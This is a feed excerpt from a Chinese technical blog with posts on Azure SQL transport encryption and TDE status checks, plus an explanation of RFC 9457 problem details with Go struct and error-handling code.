<li>在左側選單點選 <strong>「安全性 (Security)」</strong> > <strong>「網路 (Networking)」</strong>。</li>



<li>檢查是否有 <strong>「最低 TLS 版本 (Minimum TLS Version)」</strong> 的設定，將其強制設定為 <strong>TLS 1.2</strong>。這會直接阻斷不支援現代加密協議的舊式未加密連線。</li>
</ol>



<h4 class="wp-block-heading">方案 B：修正應用程式連線字串（Connection String）</h4>



<p class="wp-block-paragraph">檢查程式碼中連線到該資料庫的字串，務必確保加上以下兩個參數：</p>



<ul class="wp-block-list">
<li><strong><code>Encrypt=True</code></strong>（強制加密傳輸）</li>



<li><strong><code>TrustServerCertificate=False</code></strong>（嚴格驗證憑證，防止中間人攻擊）</li>
</ul>



<p class="wp-block-paragraph">只要客戶端正確啟動這兩個參數，再次執行你的 SQL 指令，<code>FALSE</code> 的項目就會消失，全部變成 <code>TRUE</code> 了！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<figure class="wp-block-image size-full"><img decoding="async" width="2054" height="476" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1.png?v=1780470785" alt="" class="wp-image-8517" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1.png?v=1780470785 2054w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1-600x139.png?v=1780470785 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1-1024x237.png?v=1780470785 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1-768x178.png?v=1780470785 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1-1536x356.png?v=1780470785 1536w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1-2048x475.png?v=1780470785 2048w" sizes="(max-width: 2054px) 100vw, 2054px" /></figure>



<p class="wp-block-paragraph">看到這份清單，你可以完全放心了！<strong>這是一個非常健康的狀態，你的資料庫完全沒有外部的安全漏洞。</strong></p>



<p class="wp-block-paragraph">那些顯示為 <code>FALSE</code> 的連線，全部都有一個共同的特徵：<strong>它們是 Azure SQL 內部的「系統維護服務」，而不是來自外部或你的應用程式。</strong></p>



<p class="wp-block-paragraph">以下為你詳細拆解這份清單的結構：</p>



<h3 class="wp-block-heading">1. 外部與應用程式連線：全部都是 <code>TRUE</code> (安全)</h3>



<p class="wp-block-paragraph">看這幾筆最關鍵的資料：</p>



<ul class="wp-block-list">
<li><strong>你的 Go 語言應用程式 (<code>go-mssqldb</code>)</strong>：來自 IP <code>20.48.25.146</code>，狀態全部是 <strong><code>TRUE</code></strong>。這代表從 Kubernetes 叢集（<code>ca-pr-backend-stg-...</code>）連過來的業務流量都有經過 TLS 加密。</li>
</ul>



<h3 class="wp-block-heading">2. 為什麼那幾筆會是 <code>FALSE</code>？</h3>



<p class="wp-block-paragraph">那些顯示為 <code>FALSE</code> 的連線，你可以注意到它們的特徵：</p>



<ul class="wp-block-list">
<li><strong><code>client_net_address</code></strong> 欄位顯示為 <strong><code>&lt;named pipe></code></strong>。這代表它們<strong>不是</strong>透過網路（TCP/IP）連進來的，而是「這台資料庫伺服器本機內部的行程（Processes）」在互相通訊。</li>



<li><strong><code>program_name</code></strong> 是：
<ul class="wp-block-list">
<li><code>BackupService</code>（微軟自動備份服務）</li>



<li><code>MetricsDownloader</code>、<code>DmvCollector</code>（微軟收集效能指標與 DMV 監控資料的服務）</li>



<li><code>AutomaticTuningAgent</code>（微軟的自動索引與效能最佳化顧問）</li>
</ul>
</li>



<li><strong><code>login_name</code></strong> 格式為 <code>DB000001\WF-...</code>。這是 Azure 後台自動指派給這台虛擬機器內部使用的本機服務帳號。</li>
</ul>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>結論：</strong></p>



<p class="wp-block-paragraph">因為這些服務與 SQL Server 根本就在「同一台主機的記憶體內」通訊（透過 Named Pipe，非網路），資料完全不會流出這台機器之外，所以 Azure 為了追求最佳效能，內部通訊預設不經過網路加密層（TLS）。這在架構上是安全且極為常見的設計。</p>
</blockquote>



<h3 class="wp-block-heading">結論</h3>



<p class="wp-block-paragraph">你的稽核可以順利過關了！</p>



<ol start="1" class="wp-block-list">
<li><strong>靜態資料 (Data at Rest)</strong>：已透過 <strong>TDE</strong> 100% 加密。</li>



<li><strong>傳輸中資料 (Data in Transit)</strong>：所有來自<strong>外部、應用程式、非本機</strong>的網路連線，全部都已強制使用 <strong>TLS 加密 (<code>TRUE</code>)</strong>。</li>
</ol>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-connection-encryption/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure SQL Database（以及 Azure SQL Managed Instance）完全支援「透明資料加密」</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-tde/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-tde/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 03 Jun 2026 07:00:51 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[mssql]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8510</guid>

					<description><![CDATA[公司的政策, 資料庫要透明加密, 並給我 sql...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">公司的政策, 資料庫要透明加密, 並給我 sql server command:</p>



<pre class="wp-block-code"><code>-- 查詢憑證是否存在
USE master;
SELECT * FROM sys.certificates WHERE name = 'TdeServerCert';

-- (補充) 記錄備份
BACKUP LOG 資料庫名稱 
TO DISK = 'D:\DB_backup\path_to_backup_file.trn';

-- 建議創建主要金鑰與憑證，主要金鑰的密碼很重要，請記得！！！
USE master;
GO
--創建主要金鑰(密碼請更換，勿用範例的密碼)
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'TDE@9876543210';
GO
--創建加密憑證
CREATE CERTIFICATE TdeServerCert 
WITH SUBJECT = N'DB_TDE_Certificat',
EXPIRY_DATE = '2099-12-31'; --憑證到期的日期
GO</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">在 azure 上執行 USE master; 就顯示錯誤訊息了.</p>



<pre class="wp-block-preformatted">USE statement is not supported to switch between databases. Use a new connection to connect to a different database.<br>Failed to execute the query</pre>



<p class="wp-block-paragraph"><strong>可以，Azure SQL Database（以及 Azure SQL Managed Instance）完全支援「透明資料加密」（Transparent Data Encryption，簡稱 TDE）。</strong> 事實上，在 Azure 上，所有新建立的資料庫<strong>預設都是直接開啟 TDE 的</strong>，你不需要動手去啟動它。</p>



<p class="wp-block-paragraph">至於你遇到的錯誤訊息，是因為 <strong>Azure SQL Database 的架構不支援 <code>USE [資料庫名稱]</code> 語法</strong>來切換資料庫。在 Azure SQL 中，如果你想查詢不同的資料庫（例如 <code>master</code>），你必須在連線工具（如 SSMS 或 Azure Data Studio）中，<strong>直接修改連線字串或連線屬性中的資料庫名稱</strong>，重新連線進去。</p>



<p class="wp-block-paragraph">以下為你整理 Azure SQL TDE 的運作方式，以及如何正確查詢它的狀態：</p>



<h3 class="wp-block-heading">1. 為什麼不需要在 Azure 建立 TDE 憑證？</h3>



<p class="wp-block-paragraph">在傳統的 On-Premises（地端）SQL Server 中，你要做 TDE 必須自己手動建立 Master Key、憑證（Certificate），然後再針對資料庫做加密（這也就是你預期去 <code>sys.certificates</code> 找 <code>TdeServerCert</code> 的原因）。</p>



<p class="wp-block-paragraph">但在 <strong>Azure SQL Database</strong> 中：</p>



<ul class="wp-block-list">
<li><strong>服務管理金鑰 (Service-Managed Key)</strong>：Azure 預設會自動幫你管理 TDE 憑證與金鑰，並定期自動輪換（Rotate）。你不需要、也沒辦法在 <code>master</code> 資料庫裡看到或管理這個由 Azure 託管的憑證。</li>



<li><strong>客戶管理金鑰 (Customer-Managed Key, BYOK)</strong>：如果你有合規性需求，想要自己掌控金鑰，你可以結合 <strong>Azure Key Vault</strong> 來實作 BYOK（Bring Your Own Key）。</li>
</ul>



<h3 class="wp-block-heading">2. 如何正確檢查 Azure SQL 的 TDE 狀態？</h3>



<p class="wp-block-paragraph">你不需要切換到 <code>master</code> 去找憑證，直接在<strong>當前的使用者資料庫</strong>下執行以下指令，就能確認該資料庫是否有啟用 TDE 加密：</p>



<p class="wp-block-paragraph">SQL</p>



<pre class="wp-block-code"><code>SELECT 
    db_name(database_id) AS DatabaseName,
    encryption_state,
    CASE encryption_state
        WHEN 0 THEN '無加密金鑰'
        WHEN 1 THEN '未加密 (Unencrypted)'
        WHEN 2 THEN '加密中 (Encryption in progress)'
        WHEN 3 THEN '已加密 (Encrypted)'
        WHEN 4 THEN '金鑰變更中'
        WHEN 5 THEN '解密中'
        ELSE '未知狀態'
    END AS EncryptionStateDescription
FROM sys.dm_database_encryption_keys;
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>預期結果：</strong> 如果你是使用 Azure SQL，通常會直接看到你的資料庫狀態為 <strong>3 (已加密 Encrypted)</strong>。</p>
</blockquote>



<h3 class="wp-block-heading">3. 如何在 Azure Portal 門戶上查看或修改？</h3>



<p class="wp-block-paragraph">除了用 SQL 指令，你也可以直接在網頁上點選確認：</p>



<ol start="1" class="wp-block-list">
<li>進入 <strong>Azure Portal</strong>，找到你的 <strong>SQL database</strong>。</li>



<li>在左側選單的「安全性 (Security)」分類下，點選 <strong>資料加密 (Data encryption)</strong>。</li>



<li>在這裡你可以看到 TDE 目前是 <strong>Enabled (已啟用)</strong>，也可以在這邊切換要使用「Azure 幫你管理的金鑰」還是「你自己的 Azure Key Vault 金鑰」。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="155" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1024x155.png?v=1780469986" alt="" class="wp-image-8513" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1024x155.png?v=1780469986 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-600x91.png?v=1780469986 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-768x116.png?v=1780469986 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image.png?v=1780469986 1290w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">這代表你的 <strong><code>tempdb</code></strong> 和 <strong><code>project-name-stg</code></strong> 資料庫目前都是 <strong>「3：已加密 (Encrypted)」</strong> 的狀態。</p>



<p class="wp-block-paragraph">在 Azure SQL 中，這是一個非常標準且健康的預設表現：</p>



<ul class="wp-block-list">
<li><strong><code>project-name-stg</code>（你的業務資料庫）</strong>：正如前面提到，Azure SQL 預設會為所有使用者資料庫啟用 TDE，確保你的資料在硬碟儲存時（Data at rest）是安全的。</li>



<li><strong><code>tempdb</code>（系統暫存資料庫）</strong>：只要你的實例中<strong>有任何一個</strong>使用者資料庫啟用了 TDE，Azure SQL 就會自動把 <code>tempdb</code> 也一起加密。這是為了防止敏感資料在運算過程中，被暫存到 <code>tempdb</code> 時留下未加密的軌跡。</li>
</ul>



<h3 class="wp-block-heading">接下來的建議</h3>



<p class="wp-block-paragraph">既然已經確認狀態為 <code>3 (Encrypted)</code>，代表<strong>透明資料加密已經在底層默默幫你守護資料了</strong>，你不需要再手動執行任何加密指令（例如 <code>ALTER DATABASE ... SET ENCRYPTION ON</code>）。</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-tde/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>RFC 9457 (Problem Details for HTTP APIs）</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/rfc-9457-problem-details-for-http-apis%ef%bc%89/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/rfc-9457-problem-details-for-http-apis%ef%bc%89/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 02 Jun 2026 01:28:42 +0000</pubDate>
				<category><![CDATA[Go 筆記]]></category>
		<category><![CDATA[Python筆記]]></category>
		<category><![CDATA[Golang]]></category>
		<category><![CDATA[Python]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8507</guid>

					<description><![CDATA[一套專門用來處理 HTTP API 錯誤回應的標...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">一套<strong>專門用來處理 HTTP API 錯誤回應的標準化 JSON/XML 格式</strong>。 [1, 2, 3]</p>



<p class="wp-block-paragraph">它的核心目的是解決以往每個開發團隊各自發明錯誤格式（例如有的叫 <code>error_msg</code>、有的叫 <code>message</code>）的亂象，提供機器與人類都好閱讀的統一規格。 [4, 5]</p>



<p class="wp-block-paragraph"><em>(註：RFC 7807 已於近年被 <a href="https://blog.gslin.org/archives/2024/09/07/11968/problem-details-for-http-apis-rfc-7807-%E8%AE%8A%E6%88%90-rfc-9457/">RFC 9457</a> 接替更新，但基礎骨架與欄位格式完全相同。)</em> [3, 6]</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4cb.png" alt="📋" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 標準回應格式（範例）</h2>



<p class="wp-block-paragraph">當 API 發生錯誤時，必須返回特殊的 <code>Content-Type</code>（而非一般的 <code>application/json</code>），格式範例如下： [2]</p>



<p class="wp-block-paragraph"><strong>HTTP Header 範例</strong></p>



<pre class="wp-block-code"><code>HTTP/1.1 403 Forbidden
Content-Type: application/problem+json
Content-Language: zh-TW
</code></pre>



<p class="wp-block-paragraph"><strong>HTTP Body (JSON) 範例</strong></p>



<pre class="wp-block-code"><code>{
  "type": "https://example.com/probs/out-of-credit",
  "title": "您的帳戶餘額不足。",
  "status": 403,
  "detail": "您當前的餘額為 30 元，但此項操作需要 50 元。",
  "instance": "/account/12345/transactions/abc",
  "balance": 30
}
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 5 大標準屬性說明</h2>



<p class="wp-block-paragraph">RFC 7807 定義了 5 個<strong>皆為選填（Optional）</strong>的標準核心欄位： [7]</p>



<ul class="wp-block-list">
<li><strong><code>type</code> (string)</strong>：一個 URI 網址，指向說明該錯誤類型的文件。如果沒有提供，預設視為 <code>"about:blank"</code>。 [2, 8]</li>



<li><strong><code>title</code> (string)</strong>：該錯誤類型的簡短摘要。相同錯誤類型的 <code>title</code> 應該保持固定，不隨單次請求的具體細節改變（例如：固定為 &#8220;Invalid Parameter&#8221;）。 [2, 8]</li>



<li><strong><code>status</code> (number)</strong>：本次錯誤對應的 HTTP 狀態碼（例如：400, 403, 404），與 HTTP Header 上的狀態碼保持一致。 [2, 9]</li>



<li><strong><code>detail</code> (string)</strong>：針對<strong>這一次</strong>發生錯誤的人類可讀詳細說明，用來指出更具體的原因。 [2, 8]</li>



<li><strong><code>instance</code> (string)</strong>：發生此特定錯誤的資源網址（URI），常用於紀錄該次錯誤請求的端點或交易流水號，方便客服或後台除錯。 [1, 2]</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 延伸擴充屬性 (Extensions)</h2>



<p class="wp-block-paragraph">除了上述 5 個欄位，RFC 7807 允許開發者自由增加自訂欄位（例如上方範例中的 <code>"balance": 30</code>）。 [2]</p>



<p class="wp-block-paragraph">常見的擴充情境是 <strong>400 Bad Request（表單驗證失敗）</strong>，微軟 <a href="https://learn.microsoft.com/zh-tw/aspnet/core/web-api/?view=aspnetcore-10.0">ASP.NET Core</a> 與 Java <a href="https://matthung0807.blogspot.com/2021/08/spring-boot-rfc7807-problem-details-implementation.html">Spring Boot</a> 內建支援的擴充格式如下： [2, 10]</p>



<pre class="wp-block-code"><code>{
  "type": "https://tools.ietf.org/html/rfc7231#section-6.5.1",
  "title": "One or more validation errors occurred.",
  "status": 400,
  "invalid-params": &#91;
    { "name": "age", "reason": "年齡必須大於 18 歲" },
    { "name": "email", "reason": "電子郵件格式不正確" }
  ]
}
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">如果你想在專案中導入此規格，可以告訴我：</p>



<ul class="wp-block-list">
<li>你目前的<strong>後端開發語言或框架</strong>是什麼（如 Go, Node.js, Spring Boot）？</li>



<li>是否需要幫你寫一個符合 RFC 7807 規範的<strong>錯誤處理中介軟體 (Middleware)</strong>？</li>
</ul>



<p class="wp-block-paragraph">[1] <a href="https://datatracker.ietf.org/doc/html/rfc7807">https://datatracker.ietf.org</a></p>



<p class="wp-block-paragraph">[2] <a href="https://matthung0807.blogspot.com/2021/08/spring-boot-rfc7807-problem-details-implementation.html">https://matthung0807.blogspot.com</a></p>



<p class="wp-block-paragraph">[3] <a href="https://blog.gslin.org/archives/2024/09/07/11968/problem-details-for-http-apis-rfc-7807-%E8%AE%8A%E6%88%90-rfc-9457/">https://blog.gslin.org</a></p>



<p class="wp-block-paragraph">[4] <a href="https://medium.com/@suraj.sharma3963/transforming-api-error-handling-a-deep-dive-into-rfc-7807-with-spring-boot-3a7d7df9305b">https://medium.com</a></p>



<p class="wp-block-paragraph">[5] <a href="https://blog.csdn.net/gitblog_01107/article/details/152195518">https://blog.csdn.net</a></p>



<p class="wp-block-paragraph">[6] <a href="https://blog.gslin.org/archives/2024/09/07/11968/problem-details-for-http-apis-rfc-7807-%E8%AE%8A%E6%88%90-rfc-9457/">https://blog.gslin.org</a></p>



<p class="wp-block-paragraph">[7] <a href="https://wisely.top/spring-6-spring-boot-3-business-exception">https://wisely.top</a></p>



<p class="wp-block-paragraph">[8] <a href="https://blog.restcase.com/rest-api-error-handling-problem-details-response/">https://blog.restcase.com</a></p>



<p class="wp-block-paragraph">[9] <a href="https://learn.microsoft.com/zh-tw/dynamics365/contact-center/extend/error-handling">https://learn.microsoft.com</a></p>



<p class="wp-block-paragraph">[10] <a href="https://learn.microsoft.com/zh-tw/aspnet/core/web-api/?view=aspnetcore-10.0">https://learn.microsoft.com</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">毫無疑問，我們應該<strong>直接採用 RFC 9457</strong>。 [1, 2]</p>



<p class="wp-block-paragraph">IETF 已於 2023 年 7 月正式發布 <strong>RFC 9457</strong>，並明確宣告<strong>廢棄（Obsoletes）舊有的 RFC 7807</strong>。不過，因為兩者「<strong>完全向下相容（Fully Backward-Compatible）</strong>」，你不需要擔心選型會帶來破壞性改變。 [3, 4, 5, 6]</p>



<p class="wp-block-paragraph">以下為你梳理為什麼該選 RFC 9457 以及兩者的關鍵差異：</p>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 為什麼直接選 RFC 9457？</h2>



<ol class="wp-block-list">
<li><strong>完全向下相容</strong>：基本的 5 大欄位（<code>type</code>, <code>title</code>, <code>status</code>, <code>detail</code>, <code>instance</code>）完全沒有變，現有的 API 測試工具與用戶端（Client）解析邏輯也100% 通用。</li>



<li><strong>官方正式標準</strong>：RFC 7807 在官方狀態已是「已淘汰（Deprecated）」，未來所有的主流框架（如 Spring Boot、ASP.NET Core）和工具更新，都會以 RFC 9457 作為依據。</li>



<li><strong>消除模糊地帶</strong>：RFC 9457 修正了 7807 在實務應用上被反覆詢問的盲點，讓語意更精準。 [1, 2, 4, 5, 7, 8, 9, 10, 11, 12]</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> RFC 9457 帶來了哪些關鍵改進？ [12]</h2>



<p class="wp-block-paragraph">如果你直接改看 RFC 9457 的規範，它主要幫你釐清並增加了以下 3 個實務規範： [1, 13, 14]</p>



<ul class="wp-block-list">
<li><strong>建立「通用問題類型註冊表」（Problem Type Registry）</strong>
<ul class="wp-block-list">
<li><strong>過去 (7807)</strong>：大家都得自己發明 <code>type</code> 的網址（例如 <code>https://example.com</code>）。</li>



<li><strong>現在 (9457)</strong>：IANA 建立了一個官方註冊表，未來常見的 HTTP 錯誤可能會有官方定義好的標準 URI。 [4, 6, 13, 14, 15]</li>
</ul>
</li>



<li><strong>明確規範「如何處理多個錯誤」（Multiple Problems）</strong>
<ul class="wp-block-list">
<li><strong>過去 (7807)</strong>：當表單同時出現「Email 格式錯誤」和「密碼太短」時，舊規範沒有講明該怎麼合併呈現。</li>



<li><strong>現在 (9457)</strong>：明確指出不應該在最外層返回一個陣列，而是維持單一 Problem Details 物件，並將多個錯誤封裝在自訂的擴充欄位中（例如 <code>invalid-params</code> 陣列）。 [6, 12, 13, 14, 15]</li>
</ul>
</li>



<li><strong>允許使用「無法解析的 URI」</strong>
<ul class="wp-block-list">
<li><strong>過去 (7807)</strong>：規範強烈暗示 <code>type</code> 的網址應該要是能夠真正點開、看得到 HTML 文件的網址（Dereferenceable URI）。</li>



<li><strong>現在 (9457)</strong>：放寬限制。明確表明如果你的系統不需要網頁說明文件，<code>type</code> 直接寫一個純字串識別碼（例如 <code>urn:uuid</code> 或 <code>tag:example.com,2024:bad-request</code>）也是完全合法的。 [5, 6, 13, 14, 16]</li>
</ul>
</li>
</ul>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 結論與行動建議</h2>



<p class="wp-block-paragraph">在撰寫程式碼、命名類別或編寫 API 文件（如 Swagger/OpenAPI）時，<strong>請一律在文字與註解中載明遵循「RFC 9457」</strong>。 [17, 18, 19]</p>



<p class="wp-block-paragraph">實作時的 JSON 格式依然維持原本設計即可： [4, 6, 10]</p>



<pre class="wp-block-code"><code>{
  "type": "https://yourdomain.com", 
  "title": "Invalid Input Parameter",
  "status": 400,
  "detail": "The 'age' field must be greater than 18.",
  "instance": "/users/signup"
}
</code></pre>



<p class="wp-block-paragraph">如果你正準備要在現有的後端框架中實作它，可以告訴我你目前使用的是哪套<strong>程式語言或 Web 框架</strong>（例如：Go, Node.js + Express, Fastify 或是 Python + FastAPI 等），我可以提供對應最主流的 RFC 9457 套件或中介軟體寫法！ [12, 20]</p>



<p class="wp-block-paragraph">[1] <a href="https://www.speakeasy.com/api-design/errors">https://www.speakeasy.com</a></p>



<p class="wp-block-paragraph">[2] <a href="https://www.eke.li/dotnet/2025/09/26/problem-details.html">https://www.eke.li</a></p>



<p class="wp-block-paragraph">[3] <a href="https://datatracker.ietf.org/doc/rfc9457/">https://datatracker.ietf.org</a></p>



<p class="wp-block-paragraph">[4] <a href="https://www.youtube.com/watch?v=eN4GX5WW87s&amp;t=83">https://www.youtube.com</a></p>



<p class="wp-block-paragraph">[5] <a href="https://www.the-main-thread.com/p/quarkus-rfc9457-api-error-handling">https://www.the-main-thread.com</a></p>



<p class="wp-block-paragraph">[6] <a href="https://nordicapis.com/a-look-at-problem-details-for-http-apis-rfc/">https://nordicapis.com</a></p>



<p class="wp-block-paragraph">[7] <a href="https://swagger.io/blog/problem-details-rfc9457-doing-api-errors-well/">https://swagger.io</a></p>



<p class="wp-block-paragraph">[8] <a href="https://www.linkedin.com/posts/alexsikand_rfc-9457-a-standard-shape-for-http-api-errors-activity-7461602684870168576-fEpo">https://www.linkedin.com</a></p>



<p class="wp-block-paragraph">[9] <a href="https://xantygc.medium.com/understanding-problem-details-in-http-apis-enhancing-error-handling-for-better-web-services-0e10d0db5cca">https://xantygc.medium.com</a></p>



<p class="wp-block-paragraph">[10] <a href="https://blog.frankel.ch/problem-details-http-apis/">https://blog.frankel.ch</a></p>



<p class="wp-block-paragraph">[11] <a href="https://dev.to/abdelrani/error-handling-in-spring-web-using-rfc-9457-specification-5dj1">https://dev.to</a></p>



<p class="wp-block-paragraph">[12] <a href="https://www.codecentric.de/en/knowledge-hub/blog/charge-your-apis-volume-19-understanding-problem-details-for-http-apis-a-deep-dive-into-rfc-7807-and-rfc-9457">https://www.codecentric.de</a></p>



<p class="wp-block-paragraph">[13] <a href="https://datatracker.ietf.org/doc/html/rfc9457">https://datatracker.ietf.org</a></p>



<p class="wp-block-paragraph">[14] <a href="https://blog.gslin.org/archives/2024/09/07/11968/problem-details-for-http-apis-rfc-7807-%E8%AE%8A%E6%88%90-rfc-9457/">https://blog.gslin.org</a></p>



<p class="wp-block-paragraph">[15] <a href="https://redocly.com/blog/problem-details-9457">https://redocly.com</a></p>



<p class="wp-block-paragraph">[16] <a href="https://github.com/camaraproject/Commonalities/issues/133">https://github.com</a></p>



<p class="wp-block-paragraph">[17] <a href="https://medium.com/@RoussiAbdelghani/error-handling-in-spring-web-using-rfc-9457-specification-f2cc8398e285">https://medium.com</a></p>



<p class="wp-block-paragraph">[18] <a href="https://www.codecentric.de/en/knowledge-hub/blog/charge-your-apis-volume-19-understanding-problem-details-for-http-apis-a-deep-dive-into-rfc-7807-and-rfc-9457">https://www.codecentric.de</a></p>



<p class="wp-block-paragraph">[19] <a href="https://ithelp.ithome.com.tw/articles/10347516">https://ithelp.ithome.com.tw</a></p>



<p class="wp-block-paragraph">[20] <a href="https://swagger.io/blog/problem-details-rfc9457-doing-api-errors-well/">https://swagger.io</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">在 Go 語言（Golang）中，目前各大主流 Web 框架與標準庫，都已經將以往的 RFC 7807 支援無縫銜接至 <strong>RFC 9457</strong>。</p>



<p class="wp-block-paragraph">以下為您提供 2026 年在 Go 專案中實作 RFC 9457 的最佳實踐，包含<strong>標準定義、Echo/Gin 框架整合，以及自訂欄位的擴充寫法</strong>。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">1. 定義 RFC 9457 核心結構體</h2>



<p class="wp-block-paragraph">為了完美符合 RFC 9457 規範，必須宣告標準欄位，並將 <code>Content-Type</code> 指定為官方規定的 <code>application/problem+json</code>。</p>



<pre class="wp-block-code"><code>package rfc9457

import (
	"encoding/json"
	"net/http"
)

<em>// MIMEType 是 RFC 9457 指定的標準回應標頭值</em>
const MIMEType = "application/problem+json"

<em>// ProblemDetails 定義了 RFC 9457 的標準核心結構</em>
type ProblemDetails struct {
	Type     string `json:"type,omitempty"`     <em>// 錯誤類型 URI (預設 "about:blank")</em>
	Title    string `json:"title"`              <em>// 簡短錯誤摘要</em>
	Status   int    `json:"status"`             <em>// HTTP 狀態碼</em>
	Detail   string `json:"detail,omitempty"`   <em>// 該次錯誤的詳細人讀訊息</em>
	Instance string `json:"instance,omitempty"` <em>// 發生錯誤的資源路徑或交易 ID</em>
}

<em>// WriteTo 負責將錯誤格式正確地寫入 HTTP 回應</em>
func (p *ProblemDetails) WriteTo(w http.ResponseWriter) error {
	if p.Type == "" {
		p.Type = "about:blank"
	}
	w.Header().Set("Content-Type", MIMEType)
	w.WriteHeader(p.Status)
	return json.NewEncoder(w).Encode(p)
}
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">2. 實務情境：包含多欄位錯誤（表單驗證失敗）</h2>



<p class="wp-block-paragraph">RFC 9457 明確規範：<strong>「當有多個欄位出錯時，不應使用陣列作為最外層，而應使用單一物件，並將細節放入自訂擴充欄位。」</strong></p>



<p class="wp-block-paragraph">我們可以用 Go 的「結構體內嵌（Embedding）」完美處理擴充屬性：</p>



<pre class="wp-block-code"><code><em>// ValidationError 針對表單驗證錯誤進行結構體擴充</em>
type ValidationError struct {
	ProblemDetails <em>// 內嵌標準欄位</em>
	InvalidParams  &#91;]ParamError `json:"invalid-params"` <em>// 自訂擴充欄位</em>
}

type ParamError struct {
	Name   string `json:"name"`   <em>// 欄位名稱</em>
	Reason string `json:"reason"` <em>// 錯誤原因</em>
}

<em>// 實務產生範例：</em>
func NewValidationError(instancePath string, errs &#91;]ParamError) *ValidationError {
	return &amp;ValidationError{
		ProblemDetails: ProblemDetails{
			Type:     "urn:example:error:validation", <em>// RFC 9457 允許使用非網址的 URN 識別碼</em>
			Title:    "您的輸入參數驗證失敗",
			Status:   http.StatusBadRequest,
			Detail:   "請檢查提交的欄位是否符合格式要求要求。",
			Instance: instancePath,
		},
		InvalidParams: errs,
	}
}
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">3. 主流框架 Middleware 整合範例</h2>



<p class="wp-block-paragraph">在 Go 的熱門框架（如 Gin 或 Echo）中，最佳實踐是透過中央錯誤處理（Centralized Error Handling）將所有恐慌（Panic）或未捕獲的錯誤，自動格式化為 RFC 9457 的樣式。</p>



